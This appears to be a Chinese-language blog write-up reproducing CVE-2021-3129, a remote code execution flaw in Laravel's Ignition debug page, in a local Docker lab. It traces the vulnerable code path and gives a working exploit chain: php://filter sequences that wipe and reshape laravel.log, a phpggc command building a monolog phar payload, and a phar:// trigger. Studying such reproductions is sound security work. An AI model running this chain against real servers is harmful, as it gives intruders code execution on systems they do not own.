CVE-2021-3129 Laravel debug mode: Remote code execution
Environment
- Docker Ubuntu 20.04.3
- PHP 7.3.33
- How to Check & Install Specific version of PHP in Ubuntu Linux
1
sudo docker run -it --name cve-2021-3129 -p 8999:80 ubuntu:20.04
1
2
3
4
5
6
7
8
9apt update
apt install software-properties-common
add-apt-repository ppa:ondrej/php
apt-get update
apt install php7.3=7.3.33-1+ubuntu20.04.1+deb.sury.org+1
apt install git
apt install php7.3-xml
apt install php7.3-mbstringComposer
- How to Check & Install Specific version of PHP in Ubuntu Linux
- 照著 document 的安裝方式
1
2
3
4
5php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '906a84df04cea2aa72f40b5f787e49f22d4c2f19492ac310e8cba5b96ac8b64115ac402c8cd292b8a03482574915d1a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"
mv ./composer.phar /usr/bin/composerLaravel
- laravel
1
2
3
4
5
6
7git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
php artisan key:generate - facade/ignition
resources/views
下面放會產生 error page 的test.blade.php
(用 apache 當作 server,所以 laravel 資料夾中的東西要整個移到 /var/www/html 底下)1
2
3
4
5<html>
<body>
<h1> Hello {{ $username }} </h1>
</body>
</html>service apache2 restart
routes/web.php
也要照著裡面本來的格式加上 route,就能看到 error page 了
Analysis
按下 Make variable optional 以後就會發個 POST 到 /public/index.php/_ignition/execute-solution
,data 內容是這樣
1 |
|
搜尋 execute-solution
可以查到在 vendor/facade/ignition/src/
IgnitionServiceProvider.php 中的這一段
1 |
|
繼續找到 vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php
vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php
1 |
|
到這裡可以知道這個 solution 就是剛剛 request 中的那個 solution
1 |
|
可以繼續搜到vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
1 |
|
它就是把原本的 $<variableName>
變成 $<variableName> ?? ''
然後寫回頁面,這裡的 variableName 就是剛剛 request 中的 username
,其中在 generateExpectedTokens
那邊一大堆其實就只是在檢查有沒有真的如預期生成 $<variableName> ?? ''
這東西而已,所以在 漏洞敘述的文章 中也有提到可以簡化成這樣
1 |
|
到這邊可以用到 file_get_contents
拿到有 payload 的檔案然後再寫出來,但需要一個可以寫 payload 的地方,如果有機會可以上傳檔案,就可以簡單的利用 phpggc 來構造 payload (monolog/rce1 就能用),然後直接用 viewFile 的地方用 phar://
協議 exploit
但如果不行的時候,laravel 預設的 log 在 storage/logs/laravel.log
是一個有機會可控的地方,送一個 POST 看看能不能寫東西進去
可以,但是為了後續寫檔,先把 log 整個清空會比較好,一開始我也很直覺的想到用 base64 多次 decode 把東西清掉,披露文章一開始也是這樣想,但是會出現問題
1 |
|
我用了三次 decode 以後出現 ErrorException 了,回去查看 log 也沒有被成功被清空,測試以後發現是 =
的問題,有 =
就有機會出事,多次用 base64 decode 以後總有機會出現 =
,實在太難掌控了
所以文章說到他們又回去找有沒有別的 filter 可以用,文章說用 consumed
filter 就可以清空檔案了,但這東西我翻遍 php doc 都找不到不知道是哪裡來的,後來翻到 一篇文 裡面用了另外一種方法,提到既然有 =
會出事,先讓內容先都變成非 base64 字元再 base64 decode,自然就會全部消失了,用的方法是 UTF-8 -> UTF-16BE -> printable -> UTF-8
1 |
|
成功清空 log 了,剩下就是要怎麼讓寫入的 payload 留下來,在剛剛測試的時候看到 log 的格式,於是再來又要處理兩點
- 前面的 prefix
- Payload 出現了兩次原文的方法是先過一遍
1
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
convert.iconv.utf16le.utf-8
,把一般的 payload 用 null byte padding 過就能濾掉沒 padding 過的非 utf16le 的字元了在實驗的時候也會發現到如果沒有好好 padding 就沒辦法正常 convert 出來,這裡文章巧妙的利用在 payload 裡面多加一 byte 來讓他對不齊(兩次 payload 之間夾著奇數 byte),這個做法可以成功處理 padding 問題,又能解決 payload 出現兩次這點 (第一次沒有成功對齊第二次就會對齊)1
2
3
4# echo -ne "123456321ij T\0E\0S\0T\0 sdfghjkluyhjkio" > /tmp/test.txt
# php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
㈱㐳㘵㈳椱TEST猠晤桧歪畬桹歪潩但是到這裡又出現兩個問題1
2
3
4
5
6
7
8
9
10
11# echo -ne "123456321fi T\0E\0S\0T\0S\0X sdfghf T\0E\0S\0T\0S\0X kluyhjkio
" > /tmp/test.txt
# php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
㈱㐳㘵㈳昱TESTS⁘摳杦晨吠䔀匀吀匀堀欠畬桹歪潩
# echo -ne "123456321fij T\0E\0S\0T\0S\0X sdfghf T\0E\0S\0T\0S\0X kluyhjkio" > /tmp/test.txt
# php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
㈱㐳㘵㈳昱橩吠䔀匀吀匀堀猠晤桧TESTS⁘汫祵橨楫 - 前面那次測試也有出現的那個 warning
- Null byte 經過 file_get_contents 也會出現 warning
第一個問題可以先寫一次 padding 來解決,讓 prefix、midfix、suffix 都分別出現雙數次
1 |
|
第二個問題文章提出用 =00
來代替 Null bytes 然後再過 convert.quoted-printable-decode 就能安全通過了,所以最後 payload 會是 base64
-> utf16le
-> null to =00
然後過這個 filter 回來
1 |
|
POC
- 清空 error log 或是
1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
1
php://filter/read=consumed/resource=../storage/logs/laravel.log
- 先送一個確保 alignment 的 request
在送第一次的 alignment 用的 request 的時候,因為 payload 送出後產生的 log 會是failed to open stream: File name too long
的 error,第一次送的 payload “viewFile” 長一點也產生一樣的 error 會比較不容易出錯(”viewFile” 如果比較短 error 會是failed to open stream: No such file or directory
) - 產生 payload,用前面有提到過的 phpgcc 生成
- 經過 base64 encode 後再加上 padding 變 utf16le 然後把 null 換成
=00
,這裡用Laravel/RCE8
或monolog/rce1
都可以1
./phpggc monolog/rce1 system "touch /tmp/pwned" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
- 送要寫進 error.log 中的 payload
測試時一直出現stream filter (convert.quoted-printable-decode): invalid byte sequence
的錯誤,結果發現 log 的 stacktrace 中也會出現一部分的 payload,如果直接單純的送 payload 就會出現錯誤
所以在這一步驟發現 payload 還得在開頭塞一點垃圾來避免因為下面出現了一點 convert 過的 payload 讓 filter 出問題,建議這個垃圾要塞 > 15 奇數個字
- 把 payload decode 回來並清掉 payload 以外的垃圾
- 用 phar:// 去觸發 payload
成功寫檔
Other
用 php 造 phar 的方法
1 |
|